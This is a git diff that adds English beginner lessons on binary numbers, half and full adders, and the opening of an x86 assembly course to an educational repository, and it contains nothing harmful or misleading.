+separate rows — if the table has four rows, two "no"s + two "yes"es is the whole tally.
+
+
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ XOR = difference detector: 1 if different, 0 if the same.
+☐ Second reading: "1 if there is EXACTLY ONE 1" — don't forget this, it comes back in addition.
+☐ One gate isn't enough, because the request is TWO sentences: "at least one" + "not both."
+☐ The solution team: OR bouncer (eliminates 0,0) + NAND bouncer (eliminates 1,1) + AND approval desk.
+☐ Design method: split a complex request into sentences, hand out gates to the sentences.
+☐ XOR's secret identity: the ONES DIGIT of a two-bit addition.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [02_nanddan_kapilar.md](./02_nanddan_kapilar.md) — Building the three gates on the team
+- [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md) — Boxing up the layers: the main idea of this series
+- [05_half_adder.md](./05_half_adder.md) — Where XOR's secret identity comes to light
+
+---
+
+**Previous topic:** [02_nanddan_kapilar.md](./02_nanddan_kapilar.md)
+**Next topic:** [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md)
+
+*This lesson is part of the "From Switches to a Computer" series. The series progresses alongside [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/04_teller_sayi_olunca.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/04_teller_sayi_olunca.md
new file mode 100644
index 0000000..0466096
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/04_teller_sayi_olunca.md
@@ -0,0 +1,170 @@
+# 🔢 From Switches to a Computer — When Wires Become Numbers
+
+> Up to now, wires have carried "yes/no" for you: current, a decision, the go-ahead from
+> the ones that do the dirty work. In this lesson we'll give wires a brand-new meaning:
+> **number.** This is the biggest mental leap in the series — and the only concept lesson
+> that contains no circuit. If you lay this groundwork solidly, the adder lessons will
+> flow like water.
+
+> **No circuit in this lesson, no game.** Just one idea. But the whole of Unit 1 rests on
+> this idea: don't rush, read it twice if you need to.
+
+---
+
+## 📋 Table of Contents
+
+- [The Limit of a Single Wire](#the-limit-of-a-single-wire)
+- [The Remedy: Adding Wires and Assigning Values](#the-remedy-adding-wires-and-assigning-values)
+- [The Token System](#the-token-system)
+- [This Is a Trick You Already Know](#this-is-a-trick-you-already-know)
+- [Counting in Binary](#counting-in-binary)
+- [The Reading Formula](#the-reading-formula)
+
+---
+
+## The Limit of a Single Wire
+
+Recall the basic truth from lesson 01: **a wire knows no meaning.** A wire either has
+current or it doesn't. We named those two states "1" and "0" — that was the first meaning
+we assigned.
+
+Now a new need arises: in a moment our circuits will **count** (they'll answer the
+question "how many?"). But the biggest thing a single wire can say is "1". There's no
+"2 units of current" on a wire — the current is either there or not. So how does a circuit
+say 2, 3, or 500?
+
+> 🔑 The answer isn't inside the wire, it's in the **number of wires:** for bigger numbers
+> you add wires — and you **assign each wire a different value.** A number doesn't live on
+> a single wire, it lives in how a **group** of wires is read.
+
+---
+
+## The Remedy: Adding Wires and Assigning Values
+
+Take two wires. Call the left one the "**2's wire**" and the right one the "**1's wire**".
+Our rule:
+
+> The number the group says = **the sum of the values of the wires that are on.**
+
+With two wires you can build four different states — and the four say four separate numbers:
+
+| 2's wire | 1's wire | Number said |
+|:---:|:---:|:---:|
+| 0 | 0 | 0 + 0 = **0** |
+| 0 | 1 | 0 + 1 = **1** |
+| 1 | 0 | 2 + 0 = **2** |
+| 1 | 1 | 2 + 1 = **3** |
+
+That's all there is to it. The whole of the thing that wanders around under scary book
+titles like "the binary number system" is this table: **assign values to wires, sum the
+ones that are on.**
+
+---
+
+## The Token System
+
+To make the same idea tangible, think in tokens. You have two kinds of token in your hand:
+**2's** and **1's.** You say any amount by "which tokens you handed over":
+
+```
+ pay 0 → no token → wires: 0 0
+ pay 1 → one 1's → wires: 0 1
+ pay 2 → one 2's → wires: 1 0
+ pay 3 → one 2's + 1's → wires: 1 1
+```
+
+> 💡 Note: you can use **at most one** of each kind of token — because a wire either turns
+> on or it doesn't; there's no "turning on twice." Since you don't have the option of
+> handing over two 1's when you "pay 2," the 2's token is **mandatory.** This mandate is
+> why the values go 1, 2 (and, in a moment, 4, 8...): so that every amount can be paid in
+> **exactly one way**, using at most one of each token.
+
+---
+
+## This Is a Trick You Already Know
+
+Don't let "assigning values to digits" feel new to you — **you've been doing it since
+grade school.** When you write "347" in the decimal system, what you're really saying is:
+
+```
+ 3 4 7
+ ↓ ↓ ↓
+ 100's 10's 1's → 3×100 + 4×10 + 7×1 = 347
+```
+
+In the decimal system the place values go 1, 10, 100, 1000... (each one **10 times** the
+previous, because you can write **ten** different digits, 0–9, in each place).
+
+In our wires, though, there are only **two** things that can be written in a place: 0 and 1.
+So the place values go 1, 2, 4, 8... — each one **2 times** the previous.
+
+> 🔑 So "the binary system" isn't a separate kind of math; it's **the same place-value idea,
+> in its two-digit form.** Just as "10" in decimal is "one ten, zero ones," in binary `10`
+> means "one 2's, zero 1's" — that is, **2.** See? There was nothing to be afraid of.
+
+---
+
+## Counting in Binary
+
+With three wires (4's, 2's, 1's) let's count from 0 to 7 — out loud, in token language:
+
+| Number | 4's | 2's | 1's | In token language |
+|:---:|:---:|:---:|:---:|---|
+| 0 | 0 | 0 | 0 | no tokens at all |
+| 1 | 0 | 0 | 1 | 1's |
+| 2 | 0 | 1 | 0 | 2's |
+| 3 | 0 | 1 | 1 | 2's + 1's |
+| 4 | 1 | 0 | 0 | 4's |
+| 5 | 1 | 0 | 1 | 4's + 1's |
+| 6 | 1 | 1 | 0 | 4's + 2's |
+| 7 | 1 | 1 | 1 | all of them |
+
+See a pattern in the table: the **1's column** ticks 0-1-0-1; the **2's column** goes in
+twos; the **4's** in fours. Like the digits on an odometer — when the right one fills up,
+the left one goes up by one. Same logic, except "filling up" happens at 1 instead of 9.
+
+---
+
+## The Reading Formula
+
+Let's squeeze everything into a single line. Let the three wires, left to right, be named
+`x h l` (4's, 2's, 1's):
+
+> **number said = 4·x + 2·h + 1·l**
+
+This formula is the key to the next two lessons. When our circuits hand you two wires called
+`h l`, you won't panic; you'll just read "2·h + l" and move on.
+
+> 💡 **You might be wondering:** *"So why doesn't a computer use decimal? People count in
+> decimal, after all."* Because the nature of a wire has two states: current on/off. If we
+> wanted decimal, we'd have to reliably tell apart ten different current levels on every
+> wire — in the noisy real world that's fragile and expensive. "On/off," on the other hand,
+> is rock-solid. The hardware didn't choose binary; **binary came out of the nature of the
+> wire.**
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A single wire says "1" at most. A bigger number = ADD A WIRE + ASSIGN each wire a VALUE.
+☐ Number = the sum of the values of the wires that are on. (Token analogy: which tokens did you hand over?)
+☐ At most ONE of each token → the values must be 1, 2, 4, 8... (powers of two).
+☐ The binary system = the place-value idea from school, with two digits. `10` (binary) = "one 2's" = 2.
+☐ Reading formula: number = 4x + 2h + 1l. This line is the key to two lessons.
+☐ The computer didn't choose binary; binary came out of the on/off nature of the wire.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_akim_salter_role.md](./01_akim_salter_role.md) — Where the principle "a wire knows no meaning" was born
+- [05_half_adder.md](./05_half_adder.md) — The fruit of this lesson: a circuit that ADDS numbers
+
+---
+
+**Previous topic:** [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md)
+**Next topic:** [05_half_adder.md](./05_half_adder.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/05_half_adder.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/05_half_adder.md
new file mode 100644
index 0000000..15e7c06
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/05_half_adder.md
@@ -0,0 +1,158 @@
+# ➕ From Switches to a Computer — Half Adder: The First Adder
+
+> If you dig down to the bottom of everything a processor does, you always reach the same thing: **addition.**
+> Subtraction is addition with a negative number; multiplication is repeated addition; the health in
+> a game, the tick of a counter, an address calculation in memory — all of it is addition. In this lesson you'll build
+> the deepest cell of that giant pyramid: **the circuit that adds two bits.** And you'll see
+> that you've been carrying the pieces in your pocket all along.
+
+---
+
+## 📋 Table of Contents
+
+- [Task: How Much Is 1 + 1?](#task-how-much-is-1--1)
+- [Why Isn't One Output Enough?](#why-isnt-one-output-enough)
+- [Build the Table, Spot the Familiar Faces](#build-the-table-spot-the-familiar-faces)
+- [The Circuit: Two Old Friends, Side by Side](#the-circuit-two-old-friends-side-by-side)
+- [Why a "HALF" Adder?](#why-a-half-adder)
+- [🎮 Now Build It Yourself](#-now-build-it-yourself)
+
+---
+
+## Task: How Much Is 1 + 1?
+
+The box we want to build looks simple: two inputs (`a`, `b`), each a single bit.
+Let the box add them **as numbers.**
+
+There are only four possibilities in total:
+
+```
+ 0 + 0 = 0 0 + 1 = 1 1 + 0 = 1 1 + 1 = ... 2
+```
+
+And while the first three are trouble-free, in the fourth things get interesting: **2.** From the last lesson
+you know — on a single wire there's no such thing as "2". In binary, 2 is written `10`: *one
+2, zero 1s.*
+
+---
+
+## Why Isn't One Output Enough?
+
+This is exactly why our adder is forced to have **two output wires:**
+
+- **l** (low) → **the 1s wire:** the ones digit of the sum.
+- **h** (high) → **the 2s wire:** the twos digit of the sum.
+
+To put it in the language you learned in school: `l` = "**write down**", `h` = "**carry**". In 7+5=12, when you say
+"write 2, carry 1" you're doing exactly the same thing — it's just that our digit doesn't fill up at 9,
+it fills up at 1: 1+1 = "write 0, carry 1" = `10`.
+
+> 🔑 Always read the output with the formula from 04: **sum = 2·h + l.** The two wires aren't two separate
+> answers; they are **the two digits of a single number.**
+
+---
+
+## Build the Table, Spot the Familiar Faces
+
+Write the four possibilities one under another, ask only "how much did it come to?" on each row, and write the result
+as `h l`:
+
+| a | b | a+b | h (2s) | l (1s) |
+|---|---|:---:|:---:|:---:|
+| 0 | 0 | 0 | 0 | 0 |
+| 0 | 1 | 1 | 0 | 1 |
+| 1 | 0 | 1 | 0 | 1 |
+| 1 | 1 | **2** | **1** | **0** |
+
+Now look at the columns **one by one.** One of the sweetest surprises of this series is waiting for you:
+
+- **The l column:** `0, 1, 1, 0`... You've seen this before. 1 if they differ, 0 if they're the same —
+ **this is the table of XOR.** The "trailer" at the end of lesson 03 came true: this turns out to be XOR's secret
+ identity — *the ones digit of addition.*
+- **The h column:** `0, 0, 0, 1` — 1 only when both are 1... **this is AND.** Makes sense:
+ a carry is born only if *two* 1s come together; the gate that asks the "both of them?" question was already AND.
+
+> 💡 We didn't invent any new gate. Addition — the computer's most fundamental ability —
+> turns out to be two of your old acquaintances (XOR and AND) **looking at the same question from two angles**:
+> XOR asks "what do the ones say?", AND asks "did a pair form?".
+
+---
+
+## The Circuit: Two Old Friends, Side by Side
+
+The design wrote itself. Fork `a` and `b`; give one copy to XOR, one copy to
+AND:
+
+```
+ a ──┬──────────► [ XOR ] ──────► l (write / ones digit)
+ │
+ b ──┴──────────► [ AND ] ──────► h (carry / twos digit)
+```
+
+The two gates are **side by side**, at the same time, looking at the same inputs — one producing the lower
+digit of the sum, the other the upper digit. The name of this box is **half adder**.
+
+---
+
+## Why a "HALF" Adder?
+
+Calling a box that does a perfectly good job "half" seems unfair. It isn't — the box has
+a real shortcoming, and that shortcoming is the very reason the next lesson exists.
+
+Do a multi-digit addition on paper: 27 + 35. The right digit: 7+5=12, "write 2, carry 1".
+Now look at the **middle digit**: 2 + 3 + **1 (carry)** — the middle digit is adding **three things**!
+Every digit has to take into account the carry coming from its right neighbor.
+
+The half adder, however, has only **two inputs.** It has no third mouth to take in an incoming carry.
+So on its own it can only do the job **in the rightmost digit** — it can be the first link of the chain,
+but not a middle one.
+
+> 🔑 **Half adder = an adder that CAN PRODUCE a carry but CANNOT ACCEPT one.** That's what its "half"-ness
+> is. You'll build the "full" version that can accept a carry — the full adder — in the next lesson,
+> and you'll do it using this very box you built today as a part.
+
+---
+
+## 🎮 Now Build It Yourself
+
+**Task:** NandGame → **Arithmetics** section → **Half Adder** level.
+
+This time you know almost everything; when you see the target table in the game, you'll recognize it.
+Build it, then try the four combinations by hand and each time read it off in your head: *"how many apples
+did I count → with which tokens did I pay?"*
+
+
+🔒 The logic of the solution — try it yourself first, then open
+
+Fork `a` and `b` and give them to **both XOR and AND**. XOR's output → `l`,
+AND's output → `h`. Two gates, four wires — you've planted the seed of computer arithmetic.
+
+
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ At the bottom of everything a computer does there's always addition; its smallest cell is this box.
+☐ 1+1 = 2 = `10` in binary → even a single column needs TWO outputs: l (write) + h (carry).
+☐ Reading: sum = 2·h + l. Two wires = the two digits of a single number.
+☐ The l column = XOR (its secret identity: the ones digit of addition).
+☐ The h column = AND (a carry is born only from two 1s).
+☐ The reason for its "half"-ness: it PRODUCES a carry but CANNOT ACCEPT one → it can only be the rightmost digit.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md) — where the `2·h + l` formula comes from
+- [03_xor_iki_fedai.md](./03_xor_iki_fedai.md) — the construction of XOR and the "secret identity" trailer
+- [06_full_adder.md](./06_full_adder.md) — completing the missing mouth: the adder that accepts a carry
+
+---
+
+**Previous topic:** [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md)
+**Next topic:** [06_full_adder.md](./06_full_adder.md)
+
+*This lesson is part of the "From Switches to a Computer" series. The series moves along in the company of [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/06_full_adder.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/06_full_adder.md
new file mode 100644
index 0000000..fa8ed50
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/06_full_adder.md
@@ -0,0 +1,231 @@
+# 🔗 From Switches to a Computer — Full Adder: The Carry Chain
+
+> Last lesson you built a box, but it earned a "half" stamp: it produced a carry,
+> but it couldn't accept one. In this lesson you'll complete the missing input. The box
+> you build will be called a **full adder** — and, no exaggeration, this is the **brick**
+> of the arithmetic inside a modern processor: line up 64 of them side by side and you've
+> built the hardware that adds 64-bit numbers.
+
+> This is the most demanding build in the series so far. The difficulty isn't in the parts —
+> they're all familiar — it's in the **way of thinking.** We'll walk the path together,
+> the wrong turn included.
+
+---
+
+## 📋 Table of Contents
+
+- [Why Three Inputs?](#why-three-inputs)
+- [The Box's Entire Logic in One Sentence](#the-boxs-entire-logic-in-one-sentence)
+- [Not Eight Rows, Four Cases](#not-eight-rows-four-cases)
+- [The Wrong Way: "Let Me Add All the Pairs"](#the-wrong-way-let-me-add-all-the-pairs)
+- [The Right Way: Like on Paper, In Order](#the-right-way-like-on-paper-in-order)
+- [The Last Wire: Two Carries, One Output](#the-last-wire-two-carries-one-output)
+- [🎮 Now You Build It](#-now-you-build-it)
+- [Closing: The Chain of 64](#closing-the-chain-of-64)
+
+---
+
+## Why Three Inputs?
+
+Add 27 + 35 on paper and watch what your hand does:
+
+```
+ ¹ ← carry
+ 2 7
+```
+```
+ + 3 5
+ ─────
+ 6 2
+```
+
+- Rightmost digit: 7+5=12 → "write 2, **carry 1**". Here you added **two** things.
+- Middle digit: 2+3+**1** → 6. Here you added **three** things: two digits + the incoming carry.
+
+Every digit in the middle of the chain has three inputs. That is exactly what a full adder
+is: the machine for that middle digit:
+
+> **Full adder = a box that adds a + b + c** — where `c` is the **carry** coming in from
+> the right neighbor. Its output is again two wires: `l` (write) and `h` (the new carry,
+> heading to the left neighbor).
+
+---
+
+## The Box's Entire Logic in One Sentence
+
+Adding three single-bit numbers is really just counting:
+
+> 🔑 **COUNT how many 1s are among the three inputs. Write the resulting number in binary: h l.** That's all.
+
+The count can come out 0, 1, 2, or 3 (there's nothing more than three inputs). You already
+know the binary form of all four from lesson 04: `00`, `01`, `10`, `11`.
+
+---
+
+## Not Eight Rows, Four Cases
+
+In the game an eight-row table will greet you. Don't let it scare you — group the rows by
+the question "how many 1s are there?" and eight rows collapse to four:
+
+| How many 1s? | Which rows | h l | In token language |
+|:---:|---|:---:|---|
+| 0 | 000 | `0 0` | no tokens |
+| 1 | 001, 010, 100 | `0 1` | one 1-token |
+| 2 | 011, 101, 110 | `1 0` | one 2-token |
+| 3 | 111 | `1 1` | 2-token + 1-token |
+
+Make two observations:
+
+- **All three** of the rows with a single 1 give the same answer; so do the ones with two 1s.
+ **Which** input is 1 doesn't matter at all — only the **count** matters. (Just like 7+5
+ and 5+7 being the same.)
+- The half adder's table had no `1 1` output — two inputs count to 2 at most. The only
+ novelty the third input brings is that last row: 3 = `11`.
+
+> 💡 Read the table one more time by **splitting it into floors**: separate the four rows
+> where c=0 and look at h,l — out comes the **exact same table as the half adder's**. Makes
+> sense: if the third basket is empty, a three-basket box has to behave like a two-basket
+> box. This observation is the soul of the circuit you're about to build: inside the full
+> adder, a half adder **lives.**
+
+---
+
+## The Wrong Way: "Let Me Add All the Pairs"
+
+At this level the first idea that comes to mind is usually this (and it's worth trying — the
+wrong way teaches too): *"I have a box that adds two things; so I'll add all the pairs:
+a+b, a+c, b+c... then I'll combine them."*
+
+You place three or four half adders, wire them up, and... you find yourself with a pile of
+outputs and not a single "sum". Each box reports separately "how many 1s are in these two";
+the reports repeat each other and nobody tells you the **overall total**. As the part count
+grows, you get closer not to a solution but to a crowd of wires.
+
+> ⚠️ The lesson here isn't a circuit lesson, it's a thinking lesson: **adding parts is not
+> progress.** If your circuit is growing but your clarity is shrinking, go back to the table
+> and look at the operation *itself*: how were you doing this job by hand?
+
+---
+
+## The Right Way: Like on Paper, In Order
+
+Add 2 + 3 + 4 in your head and pay attention to **what you do**: "2+3 = 5... 5+4 = 9."
+You didn't add all the pairs at once; **you added two, then added the third onto the
+result.** Addition is sequential — the **answer** of one addition becomes the **input** of
+the next.
+
+You know this sentence from lesson 03.5: *the answer of one floor is the signal of the floor
+above.* So then:
+
+1. **First half adder:** let it add `a + b`.
+2. **Second half adder:** let it add `c` onto the first one's result.
+
+One subtlety remains: the first box's result is **two wires** (h and l). Which one do you
+feed to the second box? Think in token language: `c` is a value **in 1-token units** (0 or 1
+apple). The wire that goes on the same scale as it must also be in 1-token units: **`l`.**
+(`h`, on the other hand, is in 2-token units — that belongs on a different scale, and will
+wait off to the side.)
+
+```
+ a ──► [ add ] h₁ ─────────────────────┐ (2-token — waiting)
+ b ──► [ 1 ] l₁ ──► [ add ] h₂ ──────┤ (2-token — waiting)
+ c ──► [ 2 ] l₂ ──────►│──► l ✓ (ones place done)
+ ▼
+ last wire: h = ?
+```
+
+---
+
+## The Last Wire: Two Carries, One Output
+
+You have two h wires in hand (h₁, h₂) but the box has only one `h` output. Both wires shout
+the same sentence: *"I found a pair!"* — the first in a+b, the second in remainder+c. But
+your `h` output's question is: "**is there a pair inside?**" It doesn't care who found the pair.
+
+"If at least one is shouting, h=1" — you know this sentence: **OR.**
+
+But let's be meticulous; OR's table also has a `(1,1) → 1` row. What if both shout at once?
+Two pairs = 4 apples would be needed; three inputs give 3 at most. Still, prove it on paper:
+for h₁=1 you'd need a=b=1 → then l₁ = 0 → 0 and c enter the second box → the second box can
+**never** find a pair. **Two shouts at the same time are impossible.** OR's one suspect row
+will never be visited — use it with confidence.
+
+> 💡 A subtle bonus: since the (1,1) case never occurs, **XOR** — which differs from OR only
+> on that very row — would do the same job. Both pass. That two different gates can do the
+> same task in a circuit feels strange at first — the secret is that they live in a world
+> where their difference is never tested.
+
+---
+
+## 🎮 Now You Build It
+
+**Task:** NandGame → **Full Adder** level.
+
+Your directions: two `add`s (the game put your half adder into your box under that name —
+03.5 at work), one OR. Build it, and try a few of the eight combinations by hand: each time
+read out to yourself "how many apples → which tokens".
+
+
+🔒 Solution schematic — try it yourself first, then open
+
+1. `add₁`: inputs **a, b**.
+2. `add₂`: inputs **the l of add₁** and **c**.
+3. **OR**: inputs **the h of add₁** and **the h of add₂** → its output to the box's **h**.
+4. **The l of add₂** → to the box's **l**.
+
+Summary of the summary: *full adder = two half adders + one OR.* But you now say this
+sentence not by rote but knowing the "why" of each of its wires — that's the difference.
+
+
+
+---
+
+## Closing: The Chain of 64
+
+Look at the box you built one last time: it has a carry **input** called `c` and a carry
+**output** called `h`. Which means these boxes... **can plug into each other.** One's h
+becomes the c of the one to its left:
+
+```
+ ... ◄─h─ [FA₂] ◄─h─ [FA₁] ◄─h─ [FA₀] ◄── (first carry: 0)
+ b₂ a₂ │ b₁ a₁ │ b₀ a₀ │
+ l₂ l₁ l₀
+```
+
+Each box is one digit; the carry flows from right to left, just like on paper. Line up 8 of
+them and you've built the hardware that adds 8-bit numbers; line up 64 and it's the hardware
+that adds 64-bit numbers. If a program on your computer just ran an `add` instruction, it
+went through exactly this chain — through 64 copies of **the box you built today.**
+
+Building this chain yourself is the job of the next lesson (and the next level in NandGame):
+**Multi-bit Adder.** See you there.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Full adder = a + b + carry-in. The machine for the MIDDLE digit on paper (three inputs!).
+☐ All the logic: COUNT the 1s, write the number in binary (h l). 8 rows = 4 cases.
+☐ Who is 1 doesn't matter, HOW MANY 1s matters. The c=0 floor = the half adder itself.
+☐ Wrong-way lesson: adding parts isn't progress. Build it the way you do it by hand.
+☐ Addition is SEQUENTIAL: add → then add onto the result. (A floor's answer, the floor above's signal.)
+☐ The wire added to c is l (both in 1-token units); the h's are 2-token, waiting off to the side.
+☐ Two h's can never be 1 at once (paper proof) → OR is enough to combine (XOR would pass too).
+☐ The h output plugs into the neighbor's c input → the chain of 64 = the hardware of the processor's `add`.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [05_half_adder.md](./05_half_adder.md) — The box that lives inside this circuit twice
+- [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md) — The basis of "count and write in binary"
+- [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md) — "The answer is the floor above's signal"
+
+---
+
+**Previous topic:** [05_half_adder.md](./05_half_adder.md)
+**Next topic:** *(on the way — Multi-bit Adder: building the chain of 64)*
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/00_buradan_basla.md b/docs/eng/konu_anlatimlari/x86_assembly/00_buradan_basla.md
new file mode 100644
index 0000000..bc7c8b1
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/00_buradan_basla.md
@@ -0,0 +1,165 @@
+# 🧭 x86 Assembly — Start Here (Really From Scratch)
+
+> A computer is not magic. Inside it there is a worker who does very simple things at an **unimaginable speed**,
+> but who does not have a single gram of imagination.
+> This worker understands only a handful of orders: *"put this number in that box", "add those two together", "jump over there."*
+> Assembly is the art of writing a to-do list for that worker in the **only language** he understands.
+
+> **Who is this course for?** Anyone who knows how to turn on a computer. Never having seen a terminal,
+> never having written a line of code before, not knowing "what does register mean" — all completely normal;
+> we will build all of it from here, from scratch. The only prerequisite: patience and curiosity.
+
+> ✅ **This course is now complete: all lessons from 00 through 20 are written.** And every lesson is not "on paper" — **every program and every GDB output inside it was verified by running it on a real machine.** The path: **Unit 0** (machine model) → **Unit 1** (first instructions, arithmetic) → **Unit 2** (flow: decisions & loops) → **Unit 3** (stack, functions, system calls) → **Unit 4** (the C bridge, where to go from here). Read from start to finish, in order — each unit leans on the previous one.
+
+---
+
+## 📋 Table of Contents
+
+- [What This Course Is NOT](#what-this-course-is-not)
+- [First, Let's Break the Fear](#first-lets-break-the-fear)
+- [What Will You Be Able to Do at the End?](#what-will-you-be-able-to-do-at-the-end)
+- [The Big Picture: Why Does Assembly Exist?](#the-big-picture-why-does-assembly-exist)
+- [Roadmap — Unit by Unit](#roadmap--unit-by-unit)
+- [How Should You Study?](#how-should-you-study)
+- [If Something Breaks](#if-something-breaks)
+
+---
+
+## What This Course Is NOT
+
+- **Not a fast course.** We won't rush. Every concept will sit on top of the previous one. A stone you skip will trip you up later.
+- **Not a memorization course.** I won't make you memorize a list of instructions. I'll introduce each instruction at the *moment you need it* — that way the question "why does this exist?" never even arises.
+- **Not a program-writing marathon** (but we will write). The goal is first to **understand**: what is the machine actually doing inside? Once you understand that, the code comes on its own.
+- **It does not expect you to know C / Python / "real" programming.** Even if you don't know a single language, you can start here.
+
+---
+
+## First, Let's Break the Fear
+
+Most resources greet you straight away with things like `EAX`, `0xdeadbeef`, `mov dword ptr [ebp-0x4]`, and one rightly says "this isn't for me."
+
+Let me tell you a secret: **the hard part of assembly is not the instructions.** Instructions like `mov`, `add`, `jmp` are surprisingly simple — you'll see in a moment. The real issue is picturing in your head **how the machine thinks** (or rather, *doesn't think*).
+
+Once you've settled this, the rest flows like water. The entire first unit is devoted to this — there **we won't write a single line of code.** We'll only build the picture.
+
+> 💡 Getting stuck, feeling confused, the "am I the stupid one" feeling — all normal, and **everyone** passes through this door. Slowing down here is not a weakness, it's a method. Reading a section twice is no shame; it's advice.
+
+---
+
+## What Will You Be Able to Do at the End?
+
+When you finish this course:
+
+- You'll be able to explain **concretely** what a computer actually does when it "runs".
+- You'll comfortably read binary and hexadecimal numbers.
+- You'll be able to **write and run** your own 32-bit assembly programs (ones that print text to the screen, do arithmetic, make decisions, build loops).
+- You'll be able to follow a program **step by step** with GDB and answer the question "what just happened?".
+- When you compile a C program and look at its assembly, you'll be able to see **patterns you recognize**.
+
+In other words: you'll stop being someone for whom "a computer is a box" and become someone who can see inside it.
+
+---
+
+## The Big Picture: Why Does Assembly Exist?
+
+The languages humans read (Python, C...) are not the languages a computer **understands directly**. The only thing a computer understands is a giant **sequence of numbers** — this is called *machine code*. For example, to tell the processor "put 5 in the EAX box", you actually send it this number: `B8 05 00 00 00`.
+
+Writing these numbers by hand is nearly impossible. **Assembly** is the **human-readable labels** attached to these numbers:
+
+```
+Machine code (what the processor sees): B8 05 00 00 00
+Assembly (what you write): mov eax, 5 ← "put 5 in EAX"
+```
+
+*(But why five numbers for a single 5? The first one — `B8` — is the "put in EAX" order itself; the remaining four numbers are the 4-byte form of 5 as it sits in memory. We'll open this up in [08_mov_ve_bellek](./08_mov_ve_bellek.md) — for now you don't even need to count, just look.)*
+
+The two **correspond one-to-one** — each assembly line is assembled into specific numbers, and there is no magic you don't understand in between. Assembly is the human language closest to machine code. *(We'll also open up separately in [05.5_perde_arkasi](./05.5_perde_arkasi.md) the invisible wrapper — things like `_start`/ELF — that the machine adds to run the program.)* That's why learning assembly = learning what the machine actually does. Higher-level languages (C, Python) are **convenience layers** built on top of this machine.
+
+> 🔑 Keep in mind: **You write assembly → a program called `nasm` assembles it into machine code (numbers) → the processor reads those numbers and does them.** The translator is called an *assembler*; ours is `nasm`.
+
+---
+
+## Roadmap — Unit by Unit
+
+Read the files in this order. Each unit leans on the previous one.
+
+### 🧩 Unit 0 — No Code Yet: Meeting the Machine
+
+> Here **we won't write a single line of code.** We'll only build the machine's mental model. This unit is the foundation of the course; if it isn't laid solidly, nothing above it will hold.
+
+| # | File | What it teaches | Takeaway |
+|:---:|---|---|---|
+| 1 | [01_bilgisayar_nedir](./01_bilgisayar_nedir.md) | Computer = numbered boxes + worker; what "running" means | Mental model |
+| 1.5 | [01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md) | If "everything is a number", how does a cat video happen; meaning comes from code | Number ≠ meaning |
+| 2 | [02_terminal_ile_tanisma](./02_terminal_ile_tanisma.md) | What a terminal is, how to open it, typing a command and reading its output | Your first "I did it" moment |
+| 3 | [03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md) | Binary/hexadecimal — counting the way the machine counts | Reading addresses and values |
+| 4 | [04_bellek_ve_registerlar](./04_bellek_ve_registerlar.md) | Memory (boxes) and registers (the worker's hands) | The field assembly plays on |
+| 4.5 | [04.5_registerin_ici](./04.5_registerin_ici.md) | Inside a register: AL/AH/AX/EAX, "same bits, different window" | Register anatomy |
+
+> 💡 Files whose number ends in `.5` (`1.5`, `4.5`, `5.5`…) are each a short **side lesson**: added to the main road but lighter. If you're in a hurry you can skip them; but frequently-asked points like "how does a cat video become a number?", "what's inside a register?", "what did those instructions do behind the scenes?" are clarified there.
+
+### ⚙️ Unit 1 — First Instructions: Giving the Worker Orders
+
+| # | File | What it teaches | First thing that runs |
+|:---:|---|---|---|
+| 5 | [05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md) | `nasm`/`ld`/`gdb` installation, the "write → assemble → run" chain | A program that does nothing and exits |
+| 5.5 | [05.5_perde_arkasi](./05.5_perde_arkasi.md) | Behind the scenes: `./` and PATH, `nasm` vs `ld`, what `_start` really is | (no code) |
+| 6 | [06_ilk_gercek_program](./06_ilk_gercek_program.md) | Value into a register with `mov`, exit code, `echo $?` | A number on the screen: "8!" |
+| 7 | [07_gdb_tek_adim](./07_gdb_tek_adim.md) | Step one instruction at a time in GDB, watch the registers | "Write an instruction → see what changed" |
+| 8 | [08_mov_ve_bellek](./08_mov_ve_bellek.md) | Kinds of `mov`, `[...]` = the place the address in the box points to; first pointer tracking | First pointer intuition |
+| 8.5 | [08.5_little_endian](./08.5_little_endian.md) | Looking at memory byte by byte; the "exactly reversed" byte order (little-endian) | Byte-layout intuition |
+| 9 | [09_aritmetik](./09_aritmetik.md) | `add`, `sub`, `inc`, `dec` | A tiny calculator |
+
+### 🔀 Unit 2 — Flow: Making the Worker Decide
+
+| # | File | What it teaches | First thing that runs |
+|:---:|---|---|---|
+| 10 | [10_bayraklar_ve_cmp](./10_bayraklar_ve_cmp.md) | Flags (ZF/SF...), `cmp`/`test` | "How the worker remembers a comparison" |
+| 11 | [11_ziplamalar](./11_ziplamalar.md) | `jmp`, `jz`, `jnz`, `jl`, `jg` | An "even or odd" program |
